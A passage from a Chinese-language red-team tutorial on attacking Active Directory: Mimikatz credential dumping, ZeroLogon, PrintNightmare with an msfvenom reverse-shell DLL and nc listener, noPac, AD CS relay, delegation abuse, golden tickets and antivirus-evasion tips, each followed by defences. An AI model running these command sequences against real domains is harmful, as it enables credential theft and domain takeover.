    Invoke-Command -ComputerName DC-01 -ScriptBlock { whoami } -Credential (Get-Credential)

4. 防御建议

  1. 定期审计 ACL 和组权限:
    • 使用 BloodHound 的防御分析功能(如 Active Directory ACL Cleanup)。
    • 移除普通用户对特权组的 WriteDacl、GenericAll 权限。
  2. 限制敏感组登录范围:
    • 禁止域管理员登录非域控制器主机。
  3. 启用 LAPS(本地管理员密码解决方案):
    • 防止通过本地管理员权限横向移动。
  4. 监控异常行为:
    • 日志事件 ID 4624(登录)、4732(组添加成员)、5136(目录服务变更)。
  5. 限制 Kerberos 委派和 SPN:
    • 避免服务账号过度权限。

5. 扩展工具与技巧

  • PowerView:与 BloodHound 结合,手动验证攻击路径:
    1
    2
    # 查询用户对组的权限
    Get-ObjectAcl -Identity "Domain Admins" | ? { $_.ActiveDirectoryRights -match "WriteProperty" }
  • ADExplorer(Sysinternals):实时浏览 AD 对象及权限。
  • 自动化攻击框架:
    • Impacket:执行 DCSync、Kerberoasting。
    • CrackMapExec:自动化横向移动与权限验证。

通过 BloodHound,红队可高效识别 AD 环境中的脆弱环节,而防御者则能借此加固权限架构。

六.内网渗透之mimikatz专题简介

Mimikatz 是红队渗透测试中不可或缺的工具,由法国安全研究员 Benjamin Delpy 开发,主要用于从 Windows 系统中提取敏感凭据(如明文密码、哈希值、Kerberos 票据等),并支持多种高级攻击手法。以下是其核心功能、使用场景及防御措施的全面解析:


1. 核心功能与模块

(1) 核心能力

  • 凭据提取:通过读取 LSASS 进程内存,获取明文密码、NTLM 哈希、Kerberos 票据等。
  • 令牌操作:模拟高权限令牌(如 SYSTEM 或域管理员),实现权限提升。
  • 横向移动:支持传递哈希(Pass-the-Hash)、票据传递(Pass-the-Ticket)等攻击。
  • 日志清除:清除系统安全日志,隐藏攻击痕迹。

(2) 关键模块

  • sekurlsa:提取内存中的登录凭据(sekurlsa::logonpasswords)。
  • kerberos:管理 Kerberos 票据(如黄金票据、白银票据注入)。
  • lsadump:操作 LSA 数据库(lsadump::dcsync 导出域用户哈希)。
  • privilege:提权操作(privilege::debug 启用调试权限)。
  • token:令牌窃取与模拟(token::elevate 获取 SYSTEM 权限)。

2. 典型使用场景

(1) 内网渗透

  • 密码提取:在已控制的主机上运行 sekurlsa::logonpasswords,获取当前登录用户的明文密码或哈希。
  • 横向移动:使用 sekurlsa::pth 传递哈希登录其他主机,或通过 kerberos::golden 生成黄金票据访问域资源。
  • 权限维持:通过 lsadump::dcsync 导出域控哈希,或注入持久化后门。

(2) Windows 高版本适配

  • 绕过 Credential Guard:在 Windows 10/Server 2016+ 中,默认禁用明文密码缓存,需修改注册表启用 WDigest:
    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • 配合工具提取:使用 procdump 导出 LSASS 内存文件(.dmp),再通过 sekurlsa::minidump 离线分析。

3. 常见攻击手法示例

(1) 提取本地用户凭据

1
2
3
privilege::debug        # 提权至调试权限
token::elevate # 模拟 SYSTEM 令牌
sekurlsa::logonpasswords # 提取内存中的明文密码

(2) Kerberoasting 攻击

1
2
kerberos::list /export   # 导出服务票据(TGS)
# 使用 Hashcat 离线破解服务账号哈希

(3) DCSync 攻击(域控权限)

1
lsadump::dcsync /domain:example.com /user:krbtgt  # 导出 krbtgt 账户哈希

4. 防御与检测

(1) 防护措施

  • 启用 Credential Guard:防止 LSASS 内存被读取。
  • 限制特权账户:服务账户避免使用高权限,禁用 SeDebugPrivilege。
  • 日志监控:关注事件 ID 4688(新进程)、4624(登录事件)、4662(DCSync 操作)。
  • 应用白名单:限制未签名程序执行(如 AppLocker)。

(2) 检测建议

  • LSASS 保护:启用受控文件夹访问(Controlled Folder Access)阻止未授权进程访问 LSASS。
  • 异常行为分析:监控 mimikatz.exe 或 Invoke-Mimikatz.ps1 的执行痕迹。
  • 网络流量审计:识别 Kerberos 票据请求异常或哈希传递行为。

5. 工具联动与扩展

  • Cobalt Strike 集成:通过 mimikatz 插件直接调用功能(如 logonpasswords)。
  • Metasploit 框架:使用 load kiwi 模块加载 Mimikatz 功能。
  • 自动化攻击链:结合 BloodHound 分析攻击路径,利用 Mimikatz 快速提权。

6. 注意事项

  • 绕过杀软:通过源码修改(如混淆字符串)、内存加载(无文件执行)或使用 VMProtect 加壳实现免杀。
  • 系统兼容性:部分功能在 Windows 高版本受限,需结合其他工具(如 Rubeus、SharpKatz)。

Mimikatz 的威力在于其对 Windows 安全机制的深度利用,但同时也暴露了系统在凭据管理上的脆弱性。红队需灵活掌握其功能,而蓝队应通过加固配置与实时监控降低风险。

七.域权限提升漏洞篇

​ Kerberos身份认证流程。

image-20250423204511631

1.MS14-068

漏洞原理

MS14-068(CVE-2014-6324)是Kerberos协议中的权限提升漏洞,允许普通域用户伪造特权票据(TGT),获取域管理员权限。其核心问题在于KDC(密钥分发中心)对PAC(特权属性证书)签名的验证缺陷:

  1. PAC验证绕过:攻击者可构造包含伪造高权限组(如域管理员组SID)的PAC,利用KDC对校验算法(如MD5)的支持缺陷,绕过密钥验证。
  2. 签名伪造:正常PAC需使用服务账号和krbtgt的哈希签名,但漏洞允许使用无密钥依赖的MD5算法生成签名,使伪造的PAC通过验证。
  3. 票据注入:伪造的TGT被KDC接受后,攻击者可生成任意服务的访问票据(如CIFS),从而获得域控权限。

漏洞复现流程

前提条件 :

  • 域控未安装补丁KB3011780。
  • 获取普通域用户的账号密码(或Hash)及其SID。
  • 域内存在至少一台未加固的主机。

复现步骤:

  1. 环境检测

    1
    2
    systeminfo | find "3011780"  # 确认域控未安装补丁
    whoami /all # 获取当前用户SID(如S-1-5-21-xxx)
  2. 生成伪造票据
    使用工具(如ms14-068.exe或Pykek)生成TGT:

    1
    2
    MS14-068.exe -u [email protected] -p password -s <SID> -d <域控IP>
    # 示例:生成[email protected]
  3. 票据注入
    通过Mimikatz或Kekeo注入内存:

    1
    2
    kerberos::purge      # 清除现有票据
    kerberos::ptc [email protected] # 注入伪造票据
  4. 权限验证与利用

    • 访问域控共享目录:
      1
      dir \\DC\C$        # 成功访问说明提权成功
    • 使用PsExec获取域控Shell:
      1
      PsExec.exe \\DC cmd.exe  # 以管理员身份执行命令

适用范围

  1. 受影响系统 :
    • Windows Server 2003/2008/2012(未安装KB3011780)。
    • 桌面系统:Windows Vista/7/8/8.1。
  2. 利用场景:
    • 攻击者已控制域内一台普通主机,并获取低权限域用户凭据。
    • 域控未启用SID过滤或PAC强验证机制。

PAC扩展知识补充

  • PAC核心作用:权限声明:
    PAC是微软对Kerberos协议的扩展,由KDC生成并嵌入到TGT中,用于声明用户的组成员身份(如域管理员组)、权限列表(如SeEnableDelegationPrivilege)等。
    • 关键字段:用户SID、所属组SID列表、用户权限、PAC签名等。
    • 验证机制:PAC需由KDC使用krbtgt账号的密钥签名,确保其合法性。

防御与缓解措施

  1. 补丁修复:
    域控安装补丁KB3011780,并确保所有主机更新至最新版本。
  2. 权限控制:
    限制普通用户权限,避免其获取本地管理员权限。
  3. 流量监控:
    监控Kerberos请求中的异常行为(如大量TGT请求或异常PAC内容)。
  4. 加固Kerberos:
    启用PAC签名强校验(如仅允许AES/HMAC算法)。

工具与扩展

  • 利用工具:ms14-068.exe、Pykek、Mimikatz、goldenPac(自动化攻击)。
  • 检测脚本:通过Wireshark分析Kerberos流量,识别伪造PAC的MD5签名特征。

2.CVE-2020-1472(ZeroLogon)

漏洞利用条件

  1. 目标环境要求:

    • 受影响系统:Windows Server 2008 R2至2019版本(包括Server Core安装模式)的域控制器(DC)。
    • 补丁状态:目标域控未安装微软2020年8月发布的补丁(KB4571729)或未启用“强制模式”(2021年2月前未强制修复)。
    • 网络访问:攻击者需能通过TCP访问域控的445端口(Netlogon协议默认端口)。
  2. 攻击前提:

    • 域控信息:已知域控的计算机名(NetBIOS名称)和IP地址。
    • 权限要求:无需任何域内用户凭证,攻击者可处于域外环境发起攻击。

漏洞利用流程

1. 漏洞检测
使用工具(如Secura提供的zerologon_tester.py)验证目标域控是否存在漏洞:

1
2
python3 zerologon_tester.py <域控计算机名> <域控IP>
# 示例:python3 zerologon_tester.py DC01 192.168.1.100

若返回“Success!”,则漏洞存在。

2. 重置域控机器账户密码
利用工具(如set_empty_pw.py)将域控机器账户的密码置空:

1
2
python3 set_empty_pw.py <域控计算机名> <域控IP>
# 示例:python3 set_empty_pw.py DC01 192.168.1.100

此操作会通过调用NetrServerPasswordSet2函数将域控的机器用户密码重置为空,导致域控与域数据库的凭证不一致(可能引发脱域风险)。

3. 导出域内哈希
使用Impacket的secretsdump.py工具,利用空密码导出域控的哈希(包括域管账户):

1
2
python3 secretsdump.py -no-pass <域名>/<域控计算机名>$@<域控IP>
# 示例:python3 secretsdump.py -no-pass example.com/DC01\[email protected]

获取的NTLM哈希可用于后续横向移动或生成黄金票据。

4. 获取域控权限
通过哈希传递(Pass-the-Hash)工具(如wmiexec.py)获取交互式Shell:

1
2
python3 wmiexec.py -hashes <LM哈希>:<NTLM哈希> <域名>/administrator@<域控IP>
# 示例:python3 wmiexec.py -hashes aad3b435...:570a9a65... example.com/[email protected]

5. 恢复域控原始密码
为防止域控脱域,需从注册表导出原始哈希并还原:

1
2
3
4
5
6
7
8
9
10
# 导出注册表文件
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

# 使用secretsdump解析哈希
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

# 还原密码
python3 reinstall_original_pw.py <域控计算机名> <域控IP> <原始哈希HEX值>

关键技术与原理

  1. 加密缺陷:

    • AES-CFB8模式:Netlogon协议使用AES-CFB8加密时,初始化向量(IV)被错误设置为全零,攻击者通过多次碰撞(平均256次)生成全零的客户端凭证(Client Credential),绕过认证。
    • 挑战-响应机制:攻击者可控的Client Challenge设置为全零,结合固定IV,导致密文碰撞概率大幅提升(从1/2^64降至1/256)。
  2. 权限提升路径:

    • 密码重置:通过NetrServerPasswordSet2调用将域控机器账户密码置空,利用其DCSync特权导出域管哈希。
    • 横向扩展:获取域管权限后可进一步控制整个域环境。

防御与缓解措施

  1. 补丁修复:安装微软官方补丁并启用“强制模式”,确保所有域控和客户端使用安全的Netlogon协议。
  2. 网络隔离:限制对域控445端口的非必要访问,启用SMB签名和加密。
  3. 监控与检测:监控异常Netlogon请求(如大量全零参数的认证尝试)。

工具与资源

3.CVE-2021-1675 (PrintNightmare)

漏洞利用条件

  1. 目标环境要求

    • 受影响系统:Windows Server 2008 R2至2022版本、Windows 7至11的客户端系统,尤其是域控制器(DC)。
    • 补丁状态:未安装微软2021年6月及后续修复补丁(KB5005010等),或未启用“强制模式”的域控环境。
    • 服务状态:目标主机的Print Spooler服务(spoolsv.exe)需处于运行状态(默认开启)。
  2. 攻击前提

    • 权限要求:普通域用户账号或机器账号(如iis$)的凭据(密码或Hash)。
    • 网络访问:攻击者需能通过SMB协议访问目标主机的445端口,并拥有一个匿名共享目录用于存放恶意DLL文件。

漏洞利用流程

1. 环境检测

  • 确认Print Spooler服务状态:
    使用rpcdump.py扫描目标主机的Print Spooler服务是否开放:
    1
    rpcdump.py @目标IP | grep -i 'MS-RPRN'  # 存在输出则服务可用。
  • 验证补丁状态:
    检查目标系统是否已安装补丁,例如通过systeminfo命令或网络工具间接判断。

2. 生成恶意DLL
使用msfvenom生成反向Shell的DLL(需与目标架构匹配):

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻击者IP LPORT=监听端口 -f dll -o exploit.dll。

3. 配置匿名SMB共享

  • 在攻击机(如Kali)或域内主机上设置匿名共享目录,存放恶意DLL(需确保共享路径可被目标访问):
    1
    impacket-smbserver share 共享目录路径 -smb2support。

4. 执行漏洞利用
使用CVE-2021-1675.py脚本发起攻击(需安装修改版Impacket库):

1
python3 CVE-2021-1675.py 域名/用户名:密码@目标IP '\\攻击者IP\共享目录\exploit.dll'。
  • 参数说明:
    • 用户名/密码:普通域用户或机器账号凭据。
    • DLL路径:指向SMB共享中的恶意DLL。

5. 获取权限

  • 启动监听器(如Netcat或Metasploit)捕获反向Shell:
    1
    nc -lvp 监听端口  # Shell以SYSTEM权限返回。
  • 扩展利用:通过获取的权限执行横向移动、提取域哈希(如secretsdump.py)或植入持久化后门。

技术原理与漏洞本质

  • 核心缺陷:Print Spooler服务以SYSTEM权限运行,且未对YAddPrinterDriverEx函数的参数dwFileCopyFlags进行严格校验。通过设置APD_INSTALL_WARNED_DRIVER标志(0x8000),可绕过驱动签名校验,强制加载任意DLL。
  • 攻击链:
    1. 权限绕过:利用RPC调用(如RpcAddPrinterDriverEx)绕过ValidateObjectAccess检查,允许低权限用户安装驱动。
    2. DLL注入:恶意DLL被复制至C:\Windows\System32\spool\drivers\x64\3\目录并加载,触发代码执行。

防御与缓解措施

  1. 补丁修复:安装微软官方补丁(KB5005010等),并重启系统生效。
  2. 服务禁用:非必要环境下禁用Print Spooler服务:
    1
    2
    Stop-Service -Name Spooler -Force
    Set-Service -Name Spooler -StartupType Disabled。
  3. 权限控制:限制普通用户安装打印机驱动的权限,启用SMB签名及加密。
  4. 监控与检测:
    • 监控spoolsv.exe加载异常DLL的行为(如非系统路径的模块)。
    • 检测C:\Windows\System32\spool\drivers\x64\目录下的新增文件(如.dll)。
    • 分析事件日志(如Event ID 808、5145)中的异常打印服务操作。

复现失败常见原因

  • 补丁未完全生效:部分系统需多次安装补丁或手动启用“强制模式”。
  • 共享路径配置错误:匿名SMB共享权限不足或路径不可达(需确保guest访问权限)。
  • DLL架构不匹配:目标系统为64位时需生成64位DLL,否则加载失败。

参考工具:

4.CVE-2021-42278 + CVE-2021-42287(NoPac)

漏洞原理概述

NoPac漏洞是CVE-2021-42278和CVE-2021-42287的组合利用,允许攻击者通过伪造域控机器账户(DC)的sAMAccountName属性,结合Kerberos协议的缺陷,将普通域用户权限提升至域管理员权限。其核心原理如下:

  1. CVE-2021-42278(sAMAccountName伪造)
    Active Directory未对机器账户的sAMAccountName属性进行严格校验,允许攻击者创建与域控机器账户同名但**不带$**的账户(如将机器账户名从DC改为DC$的原始名称DC),从而绕过命名规则限制。
  2. CVE-2021-42287(Kerberos逻辑缺陷)
    当KDC(密钥分发中心)未找到TGT对应的账户时,会自动尝试在账户名后添加$重新搜索(如从DC变为DC$),并使用域控密钥加密服务票据(ST),从而授予攻击者域控权限。

漏洞利用条件

  1. 目标环境要求:

    • 域控未安装补丁KB5008602或KB5008380。
    • 域内普通用户账户的凭据(密码或Hash),且该用户具有创建机器账户的权限(默认MachineAccountQuota=10)。
    • 攻击者需能访问域控的445端口(SMB)和88端口(Kerberos)。
  2. 特殊场景:

    • 若MachineAccountQuota=0(即禁止创建机器账户),攻击者需利用已有用户账户的sAMAccountName修改权限(如具有WriteProperty权限)。

漏洞利用流程

手动利用步骤

  1. 创建并配置伪造的机器账户

    • 使用PowerShell模块(如Powermad.ps1)创建机器账户:
      1
      New-MachineAccount -MachineAccount AttackerMachine -Password 'P@ssw0rd!'
    • 清除该账户的SPN(服务主体名称),避免冲突:
      1
      Set-DomainObject -Clear 'serviceprincipalname'
    • 修改sAMAccountName为域控名称(如DC,不带$):
      1
      Set-MachineAccountAttribute -MachineAccount AttackerMachine -Value "DC" -Attribute samaccountname
  2. 请求伪造的TGT票据

    • 使用Rubeus工具请求TGT:
      1
      Rubeus.exe asktgt /user:DC /password:P@ssw0rd! /domain:example.com /dc:dc.example.com /nowrap
  3. 恢复机器账户名称

    • 将sAMAccountName改回原始值,避免后续冲突:
      1
      Set-MachineAccountAttribute -MachineAccount AttackerMachine -Value "AttackerMachine" -Attribute samaccountname
  4. 通过S4U2Self请求高权限ST

    • 利用TGT申请域控服务(如CIFS或LDAP)的ST,并加载到内存:
      1
      Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:ldap/dc.example.com /ticket:[TGT_BASE64] /ptt
  5. 权限验证与利用

    • 使用dir \\dc\C$验证文件访问权限。
    • 通过DCSync导出域哈希:
      1
      mimikatz.exe "lsadump::dcsync /domain:example.com /user:krbtgt"

自动化工具利用(以noPac为例)

  1. 漏洞检测

    1
    noPac.exe scan -domain example.com -user lowpriv -pass 'Password123!'
  2. 一键化提权

    • 获取CIFS服务权限:
      1
      noPac.exe -domain example.com -user lowpriv -pass 'Password123!' /dc dc.example.com /mAccount test /mPassword test123 /service cifs /ptt
    • 获取LDAP服务权限并导出域哈希:
      1
      noPac.exe -domain example.com -user lowpriv -pass 'Password123!' /dc dc.example.com /mAccount test /mPassword test123 /service ldap /ptt /impersonate Administrator

自动化工具利用(sam-the-admin)

步骤 1:漏洞检测与初始化
1
python3 sam_the_admin.py "域名/普通用户:密码" -dc-ip 域控IP -shell

image-20250426195409423

  • 功能:验证目标域控是否存在漏洞,并自动创建伪造的机器账户。
  • 关键操作:
    • 创建机器账户(如 testpc),清除其 SPN 属性。
    • 修改机器账户的 sAMAccountName 为域控名称(如 DC,不带 $ 后缀)。
步骤 2:请求伪造 TGT 票据

工具内部调用 Impacket 的 asktgt 模块,生成包含伪造 PAC 的 TGT:

1
asktgt -dc-ip 域控IP 域名/伪造机器账户名
  • 原理:利用 KDC 对机器账户名自动添加 $ 的缺陷,使 TGT 被误认为域控账户签发。
步骤 3:恢复机器账户名

为防止命名冲突,工具自动将伪造的 sAMAccountName 恢复为原始值,确保后续操作不触发异常。

步骤 4:通过 S4U2Self 请求高权限 ST
1
KRB5CCNAME='票据缓存路径' impacket-smbexec -k -no-pass 域名/域控主机名
  • 功能:利用生成的 TGT,请求域控服务(如 CIFS 或 LDAP)的 ST,并注入内存。
  • 权限提升:通过模拟域管理员(如 Administrator)获取服务票据,绕过权限校验。
步骤 5:执行远程命令或 DCSync
  • 获取 Shell:通过 smbexec.py 建立交互式会话,执行系统命令。

  • 导出域哈希:调用 secretsdump.py 进行 DCSync,提取域内所有用户凭据:

    1
    python3 secretsdump.py -k -no-pass 域名/域控主机名@域控IP

防御与缓解措施

  1. 补丁修复:
    安装微软补丁KB5008602和KB5008380,并重启域控。
  2. 权限控制:
    • 将域内MachineAccountQuota设置为0,禁用普通用户创建机器账户的权限。
    • 限制用户对sAMAccountName属性的修改权限。
  3. 监控与检测:
    • 监控异常sAMAccountName修改事件(如Event ID 5136)。
    • 分析Kerberos请求中的异常S4U2Self操作。

工具与资源

  • 利用工具:
    • noPac:自动化扫描与利用工具(需.NET 4.0)。
    • sam-the-admin:Python版漏洞利用脚本。
  • 检测脚本:
    使用PowerShell模块(如Powerview)检查域内MachineAccountQuota配置。

5.ADCS证书服务攻击(NTLM中继)

一、漏洞原理

Active Directory证书服务(AD CS)的HTTP证书接口未启用NTLM中继保护,且仅允许NTLM身份验证(禁用Kerberos),导致攻击者可通过NTLM Relay攻击伪造域控制器机器账户(DC$)的认证请求,获取高权限证书,进而实现权限提升或域控接管。


二、利用条件

  1. 目标环境要求:

    • AD CS服务配置:AD CS已启用Web注册功能(HTTP接口/certsrv/certfnsh.asp开放),且未安装补丁KB5008602/KB5008380。
    • 域控状态:域控制器未启用SMB签名或NTLM中继保护机制,且WebClient服务可能需运行(若使用ADCSPwn工具)。
    • 网络访问:攻击者需能访问域控的88(Kerberos)和445(SMB)端口,并具备中继到AD CS HTTP接口的能力。
  2. 攻击前提:

    • 初始权限:普通域用户账号(或机器账号)凭据(密码或Hash),或无需凭证(若利用PetitPotam触发匿名认证)。
    • 工具依赖:需使用特定版本的Impacket(支持--adcs参数)及PetitPotam等工具。

三、利用流程

1. 环境准备与检测

  • 定位证书服务器:
    1
    certutil -config - -ping  # 查询域内证书服务器地址
  • 验证漏洞存在:访问http://<域控IP>/certsrv/certfnsh.asp,确认仅支持NTLM认证。
2. 配置NTLM中继

使用Impacket的ntlmrelayx.py监听并中继流量至AD CS接口:

1
python3 ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
  • 关键参数:--adcs指定AD CS攻击模式,--template DomainController请求域控证书模板。

3. 触发NTLM认证

通过PetitPotam强制域控(DC$)向中继服务器认证:

  • Python脚本:
    1
    python3 PetitPotam.py -d <域名> -u <用户> -p <密码> <中继服务器IP> <域控IP>
  • 二进制工具:
    1
    PetitPotam.exe <中继服务器IP> <域控IP>  # 无需凭证触发认证
  • Mimikatz模块:
    1
    misc::efs /server:<域控主机名> /connect:<中继服务器IP>

4. 获取伪造证书

成功中继后,ntlmrelayx会生成Base64编码的证书数据。攻击者可截获该证书,保存为文件或直接复制。

5. 申请高权限票据

使用Rubeus将证书转换为Kerberos TGT票据:

1
Rubeus.exe asktgt /user:DC$ /certificate:<Base64证书> /ptt
  • 效果:票据注入当前会话后,攻击者具备DC$权限,可执行DCSync操作。

6. 权限提升与横向移动

  • 导出域哈希:
    1
    mimikatz.exe "lsadump::dcsync /domain:<域名> /user:krbtgt"
  • 哈希传递(PTH):
    1
    sekurlsa::pth /user:Administrator /domain:<域名> /ntlm:<NTLM哈希>
  • 远程命令执行:
    1
    python3 wmiexec.py -hashes :<NTLM哈希> Administrator@<域控IP>

四、防御与缓解措施

  1. 补丁与配置:

    • 安装微软补丁KB5008602,禁用HTTP证书注册接口的NTLM认证。
    • 启用SMB签名及LDAPS(SSL加密)。
  2. 服务管理:

    • 停止并禁用非必要的WebClient服务(若使用ADCSPwn攻击需此服务)。
    • 限制普通用户创建机器账户的权限(设置MachineAccountQuota=0)。
  3. 监控与检测:

    • 监控事件日志(如Event ID 4741、4768)中的异常机器账户操作或Kerberos票据请求。
    • 使用PSPKIAudit脚本检测AD CS配置风险。

五、工具与资源

八、域权限提升-委派


一、委派提权的核心机制

Kerberos委派(Delegation) 是Active Directory中允许服务A以用户身份访问服务B的机制,旨在实现跨服务身份传递。其本质是信任链的扩展,但配置不当会导致攻击者通过滥用委派权限,将低权限提升至域管理员甚至域控权限。核心流程如下:


二、委派类型与攻击面

1. 非约束委派(Unconstrained Delegation)

image-20250428005221916

  • 原理:
    服务账户被配置为可接收任何用户的TGT(票据授予票据),并允许将其转发到任意其他服务。

    • 漏洞触发条件:
      服务账户启用TrustedForDelegation属性,且攻击者控制该服务账户(或诱导高权限用户访问该服务)。
    • 攻击流程:
      1. 获取服务账户权限:通过漏洞(如弱口令、SPN劫持)控制配置了非约束委派的服务账户(如IIS、MSSQL服务账号)。
      2. 诱导高权限用户访问:通过钓鱼、PetitPotam等工具强制域管理员访问该服务。
      3. 窃取TGT:服务账户内存中缓存用户TGT,使用Mimikatz或Rubeus导出:
        1
        mimikatz "sekurlsa::tickets /export"  # 导出内存中的Kerberos票据
      4. 横向移动:利用窃取的TGT申请其他服务(如LDAP、CIFS)的ST(服务票据),执行DCSync或远程命令。

2. 约束委派(Constrained Delegation)

  • 原理:
    服务账户被限制只能代表用户访问特定服务(如CIFS或LDAP),通过S4U2Self和S4U2Proxy扩展实现。

    • 漏洞触发条件:
      服务账户配置了msDS-AllowedToDelegateTo属性(允许委派的目标服务列表),且攻击者控制该账户。
    • 攻击流程:
      1. 控制服务账户:获取约束委派服务账户的凭据(如Hash或密码)。
      2. 伪造S4U请求:
        • S4U2Self:为任意用户申请针对自身服务的ST(无需用户密码)。
        • S4U2Proxy:将ST转发到允许委派的目标服务(如域控的LDAP)。
          1
          Rubeus.exe s4u /user:ServiceAccount /rc4:<NTLM-Hash> /impersonateuser:Administrator /msdsspn:ldap/DC01 /ptt
      3. 权限提升:注入ST后,以管理员身份访问域控服务(如DCSync导出哈希)。

3. 基于资源的约束委派(Resource-Based Constrained Delegation, RBCD)

  • 原理:
    由资源服务(如域控)自主定义哪些账户可委派到自身(通过msDS-AllowedToActOnBehalfOfOtherIdentity属性)。 image-20250428002304219

    • 漏洞触发条件:
      攻击者拥有对某资源的Write权限(如通过ACL漏洞修改目标机器的RBCD配置)。

    • 攻击流程:

      1. 创建恶意机器账户:利用MachineAccountQuota(默认允许普通用户创建10个机器账户)。

        1
        New-MachineAccount -MachineAccount Attacker -Password 'Passw0rd!'
      2. 配置RBCD权限:将恶意机器账户添加到目标域控的msDS-AllowedToAct...属性。

        1
        Set-ADComputer DC01 -PrincipalsAllowedToDelegateToAccount Attacker$
      3. 发起S4U攻击:利用恶意账户申请域控服务的ST,获取管理员权限。

        1
        Rubeus.exe s4u /user:Attacker$ /rc4:<机器账户Hash> /impersonateuser:Administrator /msdsspn:cifs/DC01 /ptt

三、攻击工具与检测

1. 常用工具

  • 信息收集:

    • PowerView:枚举域内委派配置。
      1
      2
      Get-DomainComputer -Unconstrained | Select-Object Name  # 非约束委派主机
      Get-DomainUser -TrustedToAuth | Select-Object UserPrincipalName # 约束委派账户
    • ADExplorer:可视化查看RBCD配置。
  • 攻击利用:

    • Impacket:getST.py生成伪造服务票据。
    • Rubeus:自动化S4U请求与票据注入。
    • Mimikatz:导出内存票据或Pass-the-Ticket攻击。

2. 防御与检测

  • 加固措施:
    1. 禁用非必要的非约束委派配置,限制约束委派范围。
    2. 设置MachineAccountQuota=0,防止普通用户创建机器账户。
    3. 启用Kerberos Armoring(FAST)和SMB签名,防御中继攻击。
  • 监控日志:
    • Event ID 4769(Kerberos服务票据请求):关注异常ServiceName(如非标准SPN)。
    • Event ID 5136(目录服务对象修改):监控msDS-AllowedToAct...属性变更。

四、总结

委派提权的核心在于滥用Kerberos协议的信任链扩展机制,通过控制服务账户或修改资源权限,实现从低权限到域控权限的跃迁。防御需结合最小权限原则、日志监控与定期ACL审计,阻断攻击者从委派配置到横向移动的完整路径。

九、域权限维持

1.黄金票据(Golden Ticket)


一、黄金票据的核心原理

黄金票据(Golden Ticket) 是一种基于 Kerberos 协议的身份伪造攻击,通过窃取域控中 krbtgt 账户的 NTLM Hash 或 AES Key,伪造任意用户的 TGT(票据授予票据),绕过身份验证,实现持久的域管理员权限。其核心逻辑如下:

  1. TGT 的生成机制:
    Kerberos 协议中,KDC(密钥分发中心)使用 krbtgt 账户的密钥加密 TGT。攻击者获取该密钥后,可自主生成 TGT,无需与 KDC 交互。
  2. 绕过密码验证:
    黄金票据直接使用 krbtgt 的密钥加密伪造的 TGT,KDC 无法区分其合法性,默认信任该票据。
  3. 持久性:
    黄金票据的有效期由攻击者自定义(默认10年),且即使域用户密码被修改或账户被禁用,票据仍有效。

二、攻击前提条件

  1. 关键凭据:
    • krbtgt 账户的 NTLM Hash 或 AES Key(通常通过 DCSync 或域控内存提取)。
    • 域 SID(Security Identifier):用于构造用户/组身份信息(如 S-1-5-21-<域标识>-500 对应 Administrator)。
  2. 环境要求:
    • 攻击者已控制域内一台主机,并能够与域控通信(88/Kerberos 端口)。
    • 未启用高级安全机制(如 Kerberos Armoring 或 FAST)。

三、黄金票据生成与利用流程

步骤 1:获取 krbtgt 账户的凭据

  • DCSync 攻击:
    使用 Mimikatz 或 Impacket 的 secretsdump.py 导出 krbtgt 的 Hash:

    1
    2
    3
    mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"
    # 或使用 Impacket
    secretsdump.py example.com/[email protected] -just-dc-user krbtgt
  • 内存提取:
    若已获取域控权限,直接从 LSASS 进程中提取:

    1
    mimikatz "privilege::debug" "sekurlsa::krbtgt"

步骤 2:生成黄金票据

使用 Mimikatz 或 Rubeus 生成伪造的 TGT:

1
2
3
4
5
6
7
8
# 使用 Mimikatz(RC4 加密)
mimikatz "kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:<krbtgt_hash> /ptt"

# 使用 AES-256 密钥(更隐蔽)
mimikatz "kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /aes256:<aes_key> /ptt"

# Rubeus 生成(需指定结束时间)
Rubeus.exe golden /rc4:<krbtgt_hash> /domain:example.com /sid:S-1-5-21-... /user:Administrator /ptt
  • 关键参数:
    • /user:伪造的用户名(通常为 Administrator)。
    • /domain:域名。
    • /sid:域的 SID(可通过 whoami /all 获取)。
    • /ptt:将票据注入当前会话内存(Pass-the-Ticket)。

步骤 3:权限验证与利用

  • 访问域控资源:
    1
    dir \\dc.example.com\C$  # 验证文件访问权限
  • 执行 DCSync:
    1
    mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"
  • 远程命令执行:
    使用 PsExec 或 WMI 获取域控 Shell:
    1
    PsExec.exe \\dc.example.com cmd.exe

四、技术原理深度解析

  1. TGT 的结构与签名:
    TGT 包含用户身份、组 SID、有效期等信息,并由 krbtgt 的密钥签名。黄金票据通过伪造签名,使 KDC 误认为其合法。
  2. PAC(特权属性证书)的绕过:
    黄金票据可选择性包含 PAC,但若域启用 PAC 签名强校验(如仅允许 AES 加密),需确保 PAC 的正确签名。
  3. Kerberos 协议信任链:
    KDC 无法验证自签名的 TGT,默认信任其合法性,这是黄金票据攻击的根源。

2.白银票据(Silver Ticket)


一、白银票据的核心原理

白银票据(Silver Ticket) 是一种基于 Kerberos 协议的服务票据伪造攻击,通过窃取服务账户(如 CIFS、LDAP、HTTP 等)的 NTLM Hash 或 AES Key,伪造特定服务的 ST(服务票据),绕过 TGT(票据授予票据)验证,直接访问目标服务。其核心逻辑如下:

  1. ST 的生成机制:
    Kerberos 协议中,服务票据(ST)由 KDC(密钥分发中心)使用服务账户的密钥加密。攻击者获取该密钥后,可自主生成 ST,无需与 KDC 交互。
  2. 绕过 KDC 验证:
    白银票据直接使用服务账户的密钥加密伪造的 ST,目标服务无法区分其合法性,默认信任该票据。
  3. 精准攻击:
    白银票据仅对特定服务有效(如 CIFS/DC01),攻击范围有限,但隐蔽性更高(无 KDC 交互记录)。

二、攻击前提条件

  1. 关键凭据:
    • 服务账户的 NTLM Hash 或 AES Key(通过 Kerberoasting、密码破解或内存提取获取)。
    • 目标服务的 SPN(Service Principal Name)(如 CIFS/DC01.example.com)。
  2. 环境要求:
    • 攻击者已控制域内一台主机,能够与目标服务通信(如 445/SMB 端口)。
